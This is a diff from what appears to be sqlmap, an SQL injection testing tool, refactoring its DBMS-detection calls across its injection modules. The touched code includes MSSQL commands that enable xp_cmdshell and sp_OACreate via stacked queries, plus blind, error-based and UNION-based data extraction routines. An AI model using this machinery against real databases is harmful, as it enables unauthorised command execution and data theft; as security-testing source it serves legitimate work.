from lib.core.common import backend
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.common import wasLastRequestDelayed
|
from lib.core.common import wasLastRequestDelayed
|
||||||
|
@ -29,7 +30,7 @@ class xp_cmdshell:
|
||||||
def __xpCmdshellCreate(self):
|
def __xpCmdshellCreate(self):
|
||||||
cmd = ""
|
cmd = ""
|
||||||
|
|
||||||
if kb.dbmsVersion[0] in ( "2005", "2008" ):
|
if backend.isVersionWithin(("2005", "2008")):
|
||||||
logger.debug("activating sp_OACreate")
|
logger.debug("activating sp_OACreate")
|
||||||
|
|
||||||
cmd += "EXEC master..sp_configure 'show advanced options', 1; "
|
cmd += "EXEC master..sp_configure 'show advanced options', 1; "
|
||||||
|
@ -48,7 +49,7 @@ class xp_cmdshell:
|
||||||
cmd += "EXEC sp_OADestroy @ID'; "
|
cmd += "EXEC sp_OADestroy @ID'; "
|
||||||
cmd += "EXEC master..sp_executesql @%s;" % self.__randStr
|
cmd += "EXEC master..sp_executesql @%s;" % self.__randStr
|
||||||
|
|
||||||
if kb.dbmsVersion[0] in ( "2005", "2008" ):
|
if backend.isVersionWithin(("2005", "2008")):
|
||||||
cmd += " RECONFIGURE WITH OVERRIDE;"
|
cmd += " RECONFIGURE WITH OVERRIDE;"
|
||||||
|
|
||||||
inject.goStacked(cmd)
|
inject.goStacked(cmd)
|
||||||
|
@ -80,7 +81,7 @@ class xp_cmdshell:
|
||||||
return cmd
|
return cmd
|
||||||
|
|
||||||
def __xpCmdshellConfigure(self, mode):
|
def __xpCmdshellConfigure(self, mode):
|
||||||
if kb.dbmsVersion[0] in ( "2005", "2008" ):
|
if backend.isVersionWithin(("2005", "2008")):
|
||||||
cmd = self.__xpCmdshellConfigure2005(mode)
|
cmd = self.__xpCmdshellConfigure2005(mode)
|
||||||
else:
|
else:
|
||||||
cmd = self.__xpCmdshellConfigure2000(mode)
|
cmd = self.__xpCmdshellConfigure2000(mode)
|
||||||
|
|
|
@ -12,12 +12,13 @@ import time
|
||||||
import traceback
|
import traceback
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
|
from lib.core.common import backend
|
||||||
from lib.core.common import dataToSessionFile
|
from lib.core.common import dataToSessionFile
|
||||||
from lib.core.common import dataToStdout
|
from lib.core.common import dataToStdout
|
||||||
from lib.core.common import decodeIntToUnicode
|
from lib.core.common import decodeIntToUnicode
|
||||||
from lib.core.common import filterControlChars
|
from lib.core.common import filterControlChars
|
||||||
from lib.core.common import getCharset
|
from lib.core.common import getCharset
|
||||||
from lib.core.common import getIdentifiedDBMS
|
from lib.core.common import backend
|
||||||
from lib.core.common import goGoodSamaritan
|
from lib.core.common import goGoodSamaritan
|
||||||
from lib.core.common import getPartRun
|
from lib.core.common import getPartRun
|
||||||
from lib.core.common import popValue
|
from lib.core.common import popValue
|
||||||
|
@ -75,7 +76,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||||
elif ( isinstance(lastChar, basestring) and lastChar.isdigit() ) or isinstance(lastChar, int):
|
elif ( isinstance(lastChar, basestring) and lastChar.isdigit() ) or isinstance(lastChar, int):
|
||||||
lastChar = int(lastChar)
|
lastChar = int(lastChar)
|
||||||
|
|
||||||
if kb.dbmsDetected:
|
if backend.getDbms():
|
||||||
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
|
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
|
||||||
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
|
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
|
||||||
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
|
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
|
||||||
|
@ -125,7 +126,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||||
hintlock.release()
|
hintlock.release()
|
||||||
|
|
||||||
if hintValue is not None and len(hintValue) >= idx:
|
if hintValue is not None and len(hintValue) >= idx:
|
||||||
if getIdentifiedDBMS() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB):
|
if backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB):
|
||||||
posValue = hintValue[idx-1]
|
posValue = hintValue[idx-1]
|
||||||
else:
|
else:
|
||||||
posValue = ord(hintValue[idx-1])
|
posValue = ord(hintValue[idx-1])
|
||||||
|
@ -456,7 +457,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||||
# check it via equal against the substring-query output
|
# check it via equal against the substring-query output
|
||||||
if commonPattern is not None:
|
if commonPattern is not None:
|
||||||
# Substring-query containing equals commonPattern
|
# Substring-query containing equals commonPattern
|
||||||
subquery = queries[getIdentifiedDBMS()].substring.query % (expressionUnescaped, 1, len(commonPattern))
|
subquery = queries[backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
|
||||||
testValue = unescaper.unescape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.unescape("%s" % commonPattern, quote=False)
|
testValue = unescaper.unescape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.unescape("%s" % commonPattern, quote=False)
|
||||||
query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (subquery, testValue)))
|
query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (subquery, testValue)))
|
||||||
query = agent.suffixQuery(query)
|
query = agent.suffixQuery(query)
|
||||||
|
|
|
@ -15,7 +15,7 @@ from lib.core.common import dataToSessionFile
|
||||||
from lib.core.common import dataToStdout
|
from lib.core.common import dataToStdout
|
||||||
from lib.core.common import filterListValue
|
from lib.core.common import filterListValue
|
||||||
from lib.core.common import getFileItems
|
from lib.core.common import getFileItems
|
||||||
from lib.core.common import getIdentifiedDBMS
|
from lib.core.common import backend
|
||||||
from lib.core.common import getPageTextWordsSet
|
from lib.core.common import getPageTextWordsSet
|
||||||
from lib.core.common import popValue
|
from lib.core.common import popValue
|
||||||
from lib.core.common import pushValue
|
from lib.core.common import pushValue
|
||||||
|
@ -32,7 +32,7 @@ from lib.core.session import safeFormatString
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
|
|
||||||
def tableExists(tableFile, regex=None):
|
def tableExists(tableFile, regex=None):
|
||||||
tables = getFileItems(tableFile, lowercase=getIdentifiedDBMS() in (DBMS.ACCESS), unique=True)
|
tables = getFileItems(tableFile, lowercase=backend.getIdentifiedDbms() in (DBMS.ACCESS), unique=True)
|
||||||
retVal = []
|
retVal = []
|
||||||
|
|
||||||
infoMsg = "checking table existence using items from '%s'" % tableFile
|
infoMsg = "checking table existence using items from '%s'" % tableFile
|
||||||
|
|
|
@ -14,7 +14,7 @@ from lib.core.agent import agent
|
||||||
from lib.core.common import calculateDeltaSeconds
|
from lib.core.common import calculateDeltaSeconds
|
||||||
from lib.core.common import dataToSessionFile
|
from lib.core.common import dataToSessionFile
|
||||||
from lib.core.common import extractRegexResult
|
from lib.core.common import extractRegexResult
|
||||||
from lib.core.common import getIdentifiedDBMS
|
from lib.core.common import backend
|
||||||
from lib.core.common import initTechnique
|
from lib.core.common import initTechnique
|
||||||
from lib.core.common import isNumPosStrValue
|
from lib.core.common import isNumPosStrValue
|
||||||
from lib.core.common import randomInt
|
from lib.core.common import randomInt
|
||||||
|
@ -40,7 +40,7 @@ def __oneShotErrorUse(expression, field):
|
||||||
check = "%s(?P<result>.*?)%s" % (kb.misc.start, kb.misc.stop)
|
check = "%s(?P<result>.*?)%s" % (kb.misc.start, kb.misc.stop)
|
||||||
nulledCastedField = agent.nullAndCastField(field)
|
nulledCastedField = agent.nullAndCastField(field)
|
||||||
|
|
||||||
if getIdentifiedDBMS() == DBMS.MYSQL:
|
if backend.getIdentifiedDbms() == DBMS.MYSQL:
|
||||||
# Fix for MySQL odd behaviour ('Subquery returns more than 1 row')
|
# Fix for MySQL odd behaviour ('Subquery returns more than 1 row')
|
||||||
nulledCastedField = nulledCastedField.replace("AS CHAR)", "AS CHAR(100))")
|
nulledCastedField = nulledCastedField.replace("AS CHAR)", "AS CHAR(100))")
|
||||||
|
|
||||||
|
@ -142,14 +142,14 @@ def errorUse(expression, expected=None, resumeValue=True, dump=False):
|
||||||
# entry per time
|
# entry per time
|
||||||
# NOTE: I assume that only queries that get data from a table can
|
# NOTE: I assume that only queries that get data from a table can
|
||||||
# return multiple entries
|
# return multiple entries
|
||||||
if " FROM " in expression.upper() and ((getIdentifiedDBMS() not in FROM_TABLE) or (getIdentifiedDBMS() in FROM_TABLE and not expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]))) and "EXISTS(" not in expression.upper():
|
if " FROM " in expression.upper() and ((backend.getIdentifiedDbms() not in FROM_TABLE) or (backend.getIdentifiedDbms() in FROM_TABLE and not expression.upper().endswith(FROM_TABLE[backend.getIdentifiedDbms()]))) and "EXISTS(" not in expression.upper():
|
||||||
limitRegExp = re.search(queries[getIdentifiedDBMS()].limitregexp.query, expression, re.I)
|
limitRegExp = re.search(queries[backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
|
||||||
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
|
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
|
||||||
|
|
||||||
if limitRegExp or (getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
|
if limitRegExp or (backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
|
||||||
if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL):
|
if backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
|
||||||
limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
|
limitGroupStart = queries[backend.getIdentifiedDbms()].limitgroupstart.query
|
||||||
limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
|
limitGroupStop = queries[backend.getIdentifiedDbms()].limitgroupstop.query
|
||||||
|
|
||||||
if limitGroupStart.isdigit():
|
if limitGroupStart.isdigit():
|
||||||
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
||||||
|
@ -157,10 +157,10 @@ def errorUse(expression, expected=None, resumeValue=True, dump=False):
|
||||||
stopLimit = limitRegExp.group(int(limitGroupStop))
|
stopLimit = limitRegExp.group(int(limitGroupStop))
|
||||||
limitCond = int(stopLimit) > 1
|
limitCond = int(stopLimit) > 1
|
||||||
|
|
||||||
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
|
elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||||
if limitRegExp:
|
if limitRegExp:
|
||||||
limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
|
limitGroupStart = queries[backend.getIdentifiedDbms()].limitgroupstart.query
|
||||||
limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
|
limitGroupStop = queries[backend.getIdentifiedDbms()].limitgroupstop.query
|
||||||
|
|
||||||
if limitGroupStart.isdigit():
|
if limitGroupStart.isdigit():
|
||||||
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
||||||
|
@ -172,7 +172,7 @@ def errorUse(expression, expected=None, resumeValue=True, dump=False):
|
||||||
stopLimit = int(topLimit.group(1))
|
stopLimit = int(topLimit.group(1))
|
||||||
limitCond = int(stopLimit) > 1
|
limitCond = int(stopLimit) > 1
|
||||||
|
|
||||||
elif getIdentifiedDBMS() == DBMS.ORACLE:
|
elif backend.getIdentifiedDbms() == DBMS.ORACLE:
|
||||||
limitCond = False
|
limitCond = False
|
||||||
else:
|
else:
|
||||||
limitCond = True
|
limitCond = True
|
||||||
|
@ -186,12 +186,12 @@ def errorUse(expression, expected=None, resumeValue=True, dump=False):
|
||||||
|
|
||||||
# From now on we need only the expression until the " LIMIT "
|
# From now on we need only the expression until the " LIMIT "
|
||||||
# (or similar, depending on the back-end DBMS) word
|
# (or similar, depending on the back-end DBMS) word
|
||||||
if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL):
|
if backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
|
||||||
stopLimit += startLimit
|
stopLimit += startLimit
|
||||||
untilLimitChar = expression.index(queries[getIdentifiedDBMS()].limitstring.query)
|
untilLimitChar = expression.index(queries[backend.getIdentifiedDbms()].limitstring.query)
|
||||||
expression = expression[:untilLimitChar]
|
expression = expression[:untilLimitChar]
|
||||||
|
|
||||||
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
|
elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||||
stopLimit += startLimit
|
stopLimit += startLimit
|
||||||
elif dump:
|
elif dump:
|
||||||
if conf.limitStart:
|
if conf.limitStart:
|
||||||
|
@ -200,14 +200,14 @@ def errorUse(expression, expected=None, resumeValue=True, dump=False):
|
||||||
stopLimit = conf.limitStop
|
stopLimit = conf.limitStop
|
||||||
|
|
||||||
if not stopLimit or stopLimit <= 1:
|
if not stopLimit or stopLimit <= 1:
|
||||||
if getIdentifiedDBMS() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]):
|
if backend.getIdentifiedDbms() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[backend.getIdentifiedDbms()]):
|
||||||
test = False
|
test = False
|
||||||
else:
|
else:
|
||||||
test = True
|
test = True
|
||||||
|
|
||||||
if test:
|
if test:
|
||||||
# Count the number of SQL query entries output
|
# Count the number of SQL query entries output
|
||||||
countFirstField = queries[getIdentifiedDBMS()].count.query % expressionFieldsList[0]
|
countFirstField = queries[backend.getIdentifiedDbms()].count.query % expressionFieldsList[0]
|
||||||
countedExpression = expression.replace(expressionFields, countFirstField, 1)
|
countedExpression = expression.replace(expressionFields, countFirstField, 1)
|
||||||
|
|
||||||
if re.search(" ORDER BY ", expression, re.I):
|
if re.search(" ORDER BY ", expression, re.I):
|
||||||
|
|
|
@ -12,7 +12,7 @@ import time
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import clearConsoleLine
|
from lib.core.common import clearConsoleLine
|
||||||
from lib.core.common import dataToStdout
|
from lib.core.common import dataToStdout
|
||||||
from lib.core.common import getIdentifiedDBMS
|
from lib.core.common import backend
|
||||||
from lib.core.common import getUnicode
|
from lib.core.common import getUnicode
|
||||||
from lib.core.common import parseUnionPage
|
from lib.core.common import parseUnionPage
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
|
@ -98,14 +98,14 @@ def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix
|
||||||
query = agent.prefixQuery("UNION ALL SELECT %s" % conf.uChar)
|
query = agent.prefixQuery("UNION ALL SELECT %s" % conf.uChar)
|
||||||
|
|
||||||
for count in range(conf.uColsStart, conf.uColsStop+1):
|
for count in range(conf.uColsStart, conf.uColsStop+1):
|
||||||
if getIdentifiedDBMS() in FROM_TABLE and query.endswith(FROM_TABLE[getIdentifiedDBMS()]):
|
if backend.getIdentifiedDbms() in FROM_TABLE and query.endswith(FROM_TABLE[backend.getIdentifiedDbms()]):
|
||||||
query = query[:-len(FROM_TABLE[getIdentifiedDBMS()])]
|
query = query[:-len(FROM_TABLE[backend.getIdentifiedDbms()])]
|
||||||
|
|
||||||
if count:
|
if count:
|
||||||
query += ", %s" % conf.uChar
|
query += ", %s" % conf.uChar
|
||||||
|
|
||||||
if getIdentifiedDBMS() in FROM_TABLE:
|
if backend.getIdentifiedDbms() in FROM_TABLE:
|
||||||
query += FROM_TABLE[getIdentifiedDBMS()]
|
query += FROM_TABLE[backend.getIdentifiedDbms()]
|
||||||
|
|
||||||
status = "%d/%d" % (count, conf.uColsStop)
|
status = "%d/%d" % (count, conf.uColsStop)
|
||||||
debugMsg = "testing %s columns (%d%%)" % (status, round(100.0*count/conf.uColsStop))
|
debugMsg = "testing %s columns (%d%%)" % (status, round(100.0*count/conf.uColsStop))
|
||||||
|
|
|
@ -14,7 +14,7 @@ from lib.core.agent import agent
|
||||||
from lib.core.common import calculateDeltaSeconds
|
from lib.core.common import calculateDeltaSeconds
|
||||||
from lib.core.common import clearConsoleLine
|
from lib.core.common import clearConsoleLine
|
||||||
from lib.core.common import dataToStdout
|
from lib.core.common import dataToStdout
|
||||||
from lib.core.common import getIdentifiedDBMS
|
from lib.core.common import backend
|
||||||
from lib.core.common import getUnicode
|
from lib.core.common import getUnicode
|
||||||
from lib.core.common import initTechnique
|
from lib.core.common import initTechnique
|
||||||
from lib.core.common import isNumPosStrValue
|
from lib.core.common import isNumPosStrValue
|
||||||
|
@ -103,14 +103,14 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack
|
||||||
# entry per time
|
# entry per time
|
||||||
# NOTE: I assume that only queries that get data from a table can
|
# NOTE: I assume that only queries that get data from a table can
|
||||||
# return multiple entries
|
# return multiple entries
|
||||||
if " FROM " in expression.upper() and ((getIdentifiedDBMS() not in FROM_TABLE) or (getIdentifiedDBMS() in FROM_TABLE and not expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]))) and "EXISTS(" not in expression.upper():
|
if " FROM " in expression.upper() and ((backend.getIdentifiedDbms() not in FROM_TABLE) or (backend.getIdentifiedDbms() in FROM_TABLE and not expression.upper().endswith(FROM_TABLE[backend.getIdentifiedDbms()]))) and "EXISTS(" not in expression.upper():
|
||||||
limitRegExp = re.search(queries[getIdentifiedDBMS()].limitregexp.query, expression, re.I)
|
limitRegExp = re.search(queries[backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
|
||||||
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
|
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
|
||||||
|
|
||||||
if limitRegExp or (getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
|
if limitRegExp or (backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
|
||||||
if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL):
|
if backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
|
||||||
limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
|
limitGroupStart = queries[backend.getIdentifiedDbms()].limitgroupstart.query
|
||||||
limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
|
limitGroupStop = queries[backend.getIdentifiedDbms()].limitgroupstop.query
|
||||||
|
|
||||||
if limitGroupStart.isdigit():
|
if limitGroupStart.isdigit():
|
||||||
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
||||||
|
@ -118,10 +118,10 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack
|
||||||
stopLimit = limitRegExp.group(int(limitGroupStop))
|
stopLimit = limitRegExp.group(int(limitGroupStop))
|
||||||
limitCond = int(stopLimit) > 1
|
limitCond = int(stopLimit) > 1
|
||||||
|
|
||||||
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
|
elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||||
if limitRegExp:
|
if limitRegExp:
|
||||||
limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
|
limitGroupStart = queries[backend.getIdentifiedDbms()].limitgroupstart.query
|
||||||
limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
|
limitGroupStop = queries[backend.getIdentifiedDbms()].limitgroupstop.query
|
||||||
|
|
||||||
if limitGroupStart.isdigit():
|
if limitGroupStart.isdigit():
|
||||||
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
||||||
|
@ -133,7 +133,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack
|
||||||
stopLimit = int(topLimit.group(1))
|
stopLimit = int(topLimit.group(1))
|
||||||
limitCond = int(stopLimit) > 1
|
limitCond = int(stopLimit) > 1
|
||||||
|
|
||||||
elif getIdentifiedDBMS() == DBMS.ORACLE:
|
elif backend.getIdentifiedDbms() == DBMS.ORACLE:
|
||||||
limitCond = False
|
limitCond = False
|
||||||
else:
|
else:
|
||||||
limitCond = True
|
limitCond = True
|
||||||
|
@ -147,12 +147,12 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack
|
||||||
|
|
||||||
# From now on we need only the expression until the " LIMIT "
|
# From now on we need only the expression until the " LIMIT "
|
||||||
# (or similar, depending on the back-end DBMS) word
|
# (or similar, depending on the back-end DBMS) word
|
||||||
if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL):
|
if backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
|
||||||
stopLimit += startLimit
|
stopLimit += startLimit
|
||||||
untilLimitChar = expression.index(queries[getIdentifiedDBMS()].limitstring.query)
|
untilLimitChar = expression.index(queries[backend.getIdentifiedDbms()].limitstring.query)
|
||||||
expression = expression[:untilLimitChar]
|
expression = expression[:untilLimitChar]
|
||||||
|
|
||||||
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
|
elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||||
stopLimit += startLimit
|
stopLimit += startLimit
|
||||||
elif dump:
|
elif dump:
|
||||||
if conf.limitStart:
|
if conf.limitStart:
|
||||||
|
@ -161,14 +161,14 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack
|
||||||
stopLimit = conf.limitStop
|
stopLimit = conf.limitStop
|
||||||
|
|
||||||
if not stopLimit or stopLimit <= 1:
|
if not stopLimit or stopLimit <= 1:
|
||||||
if getIdentifiedDBMS() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]):
|
if backend.getIdentifiedDbms() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[backend.getIdentifiedDbms()]):
|
||||||
test = False
|
test = False
|
||||||
else:
|
else:
|
||||||
test = True
|
test = True
|
||||||
|
|
||||||
if test:
|
if test:
|
||||||
# Count the number of SQL query entries output
|
# Count the number of SQL query entries output
|
||||||
countFirstField = queries[getIdentifiedDBMS()].count.query % expressionFieldsList[0]
|
countFirstField = queries[backend.getIdentifiedDbms()].count.query % expressionFieldsList[0]
|
||||||
countedExpression = origExpr.replace(expressionFields, countFirstField, 1)
|
countedExpression = origExpr.replace(expressionFields, countFirstField, 1)
|
||||||
|
|
||||||
if re.search(" ORDER BY ", expression, re.I):
|
if re.search(" ORDER BY ", expression, re.I):
|
||||||
|
@ -216,9 +216,9 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack
|
||||||
|
|
||||||
try:
|
try:
|
||||||
for num in xrange(startLimit, stopLimit):
|
for num in xrange(startLimit, stopLimit):
|
||||||
if getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
|
if backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||||
field = expressionFieldsList[0]
|
field = expressionFieldsList[0]
|
||||||
elif getIdentifiedDBMS() == DBMS.ORACLE:
|
elif backend.getIdentifiedDbms() == DBMS.ORACLE:
|
||||||
field = expressionFieldsList
|
field = expressionFieldsList
|
||||||
else:
|
else:
|
||||||
field = None
|
field = None
|
||||||
|
|
|
@ -22,7 +22,7 @@ from lib.core.common import clearConsoleLine
|
||||||
from lib.core.common import dataToStdout
|
from lib.core.common import dataToStdout
|
||||||
from lib.core.common import getCompiledRegex
|
from lib.core.common import getCompiledRegex
|
||||||
from lib.core.common import getFileItems
|
from lib.core.common import getFileItems
|
||||||
from lib.core.common import getIdentifiedDBMS
|
from lib.core.common import backend
|
||||||
from lib.core.common import getPublicTypeMembers
|
from lib.core.common import getPublicTypeMembers
|
||||||
from lib.core.common import getUnicode
|
from lib.core.common import getUnicode
|
||||||
from lib.core.common import paths
|
from lib.core.common import paths
|
||||||
|
@ -270,9 +270,9 @@ def hashRecognition(value):
|
||||||
if value:
|
if value:
|
||||||
for name, regex in getPublicTypeMembers(HASH):
|
for name, regex in getPublicTypeMembers(HASH):
|
||||||
# Hashes for Oracle and old MySQL look the same hence these checks
|
# Hashes for Oracle and old MySQL look the same hence these checks
|
||||||
if getIdentifiedDBMS() == DBMS.ORACLE and regex == HASH.MYSQL_OLD:
|
if backend.getIdentifiedDbms() == DBMS.ORACLE and regex == HASH.MYSQL_OLD:
|
||||||
continue
|
continue
|
||||||
elif getIdentifiedDBMS() == DBMS.MYSQL and regex == HASH.ORACLE_OLD:
|
elif backend.getIdentifiedDbms() == DBMS.MYSQL and regex == HASH.ORACLE_OLD:
|
||||||
continue
|
continue
|
||||||
elif getCompiledRegex(regex).match(value):
|
elif getCompiledRegex(regex).match(value):
|
||||||
retVal = regex
|
retVal = regex
|
||||||
|
|
|
@ -13,7 +13,7 @@ import time
|
||||||
from lib.core.common import calculateDeltaSeconds
|
from lib.core.common import calculateDeltaSeconds
|
||||||
from lib.core.common import dataToSessionFile
|
from lib.core.common import dataToSessionFile
|
||||||
from lib.core.common import dataToStdout
|
from lib.core.common import dataToStdout
|
||||||
from lib.core.common import getIdentifiedDBMS
|
from lib.core.common import backend
|
||||||
from lib.core.common import safeStringFormat
|
from lib.core.common import safeStringFormat
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
from lib.core.common import replaceNewlineTabs
|
from lib.core.common import replaceNewlineTabs
|
||||||
|
@ -34,7 +34,7 @@ def queryOutputLength(expression, payload):
|
||||||
Returns the query output length.
|
Returns the query output length.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
lengthQuery = queries[getIdentifiedDBMS()].length.query
|
lengthQuery = queries[backend.getIdentifiedDbms()].length.query
|
||||||
select = re.search("\ASELECT\s+", expression, re.I)
|
select = re.search("\ASELECT\s+", expression, re.I)
|
||||||
selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
|
selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
|
||||||
selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I)
|
selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I)
|
||||||
|
@ -60,7 +60,7 @@ def queryOutputLength(expression, payload):
|
||||||
if selectDistinctExpr:
|
if selectDistinctExpr:
|
||||||
lengthExpr = "SELECT %s FROM (%s)" % (lengthQuery % regExpr, expression)
|
lengthExpr = "SELECT %s FROM (%s)" % (lengthQuery % regExpr, expression)
|
||||||
|
|
||||||
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
||||||
lengthExpr += " AS %s" % randomStr(lowercase=True)
|
lengthExpr += " AS %s" % randomStr(lowercase=True)
|
||||||
elif select:
|
elif select:
|
||||||
lengthExpr = expression.replace(regExpr, lengthQuery % regExpr, 1)
|
lengthExpr = expression.replace(regExpr, lengthQuery % regExpr, 1)
|
||||||
|
@ -142,10 +142,10 @@ def resume(expression, payload):
|
||||||
if not payload:
|
if not payload:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
if not getIdentifiedDBMS():
|
if not backend.getIdentifiedDbms():
|
||||||
return None
|
return None
|
||||||
|
|
||||||
substringQuery = queries[getIdentifiedDBMS()].substring.query
|
substringQuery = queries[backend.getIdentifiedDbms()].substring.query
|
||||||
select = re.search("\ASELECT ", expression, re.I)
|
select = re.search("\ASELECT ", expression, re.I)
|
||||||
|
|
||||||
_, length, regExpr = queryOutputLength(expression, payload)
|
_, length, regExpr = queryOutputLength(expression, payload)
|
||||||
|
|
|
@ -10,10 +10,9 @@ See the file 'doc/COPYING' for copying permission
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import formatDBMSfp
|
from lib.core.common import backend
|
||||||
from lib.core.common import formatFingerprint
|
from lib.core.common import format
|
||||||
from lib.core.common import getCurrentThreadData
|
from lib.core.common import getCurrentThreadData
|
||||||
from lib.core.common import getErrorParsedDBMSesFormatted
|
|
||||||
from lib.core.common import randomInt
|
from lib.core.common import randomInt
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
from lib.core.common import wasLastRequestDBMSError
|
from lib.core.common import wasLastRequestDBMSError
|
||||||
|
@ -38,14 +37,15 @@ class Fingerprint(GenericFingerprint):
|
||||||
# Reference: http://milw0rm.com/papers/198
|
# Reference: http://milw0rm.com/papers/198
|
||||||
retVal = None
|
retVal = None
|
||||||
table = None
|
table = None
|
||||||
if kb.dbmsVersion and len(kb.dbmsVersion) > 0:
|
|
||||||
if kb.dbmsVersion[0] in ("97", "2000"):
|
if backend.isVersionWithin(("97", "2000")):
|
||||||
table = "MSysAccessObjects"
|
table = "MSysAccessObjects"
|
||||||
elif kb.dbmsVersion[0] in ("2002-2003", "2007"):
|
elif backend.isVersionWithin(("2002-2003", "2007")):
|
||||||
table = "MSysAccessStorage"
|
table = "MSysAccessStorage"
|
||||||
if table:
|
|
||||||
result = inject.checkBooleanExpression("EXISTS(SELECT CURDIR() FROM %s)" % table)
|
if table is not None:
|
||||||
retVal = "not sandboxed" if result else "sandboxed"
|
result = inject.checkBooleanExpression("EXISTS(SELECT CURDIR() FROM %s)" % table)
|
||||||
|
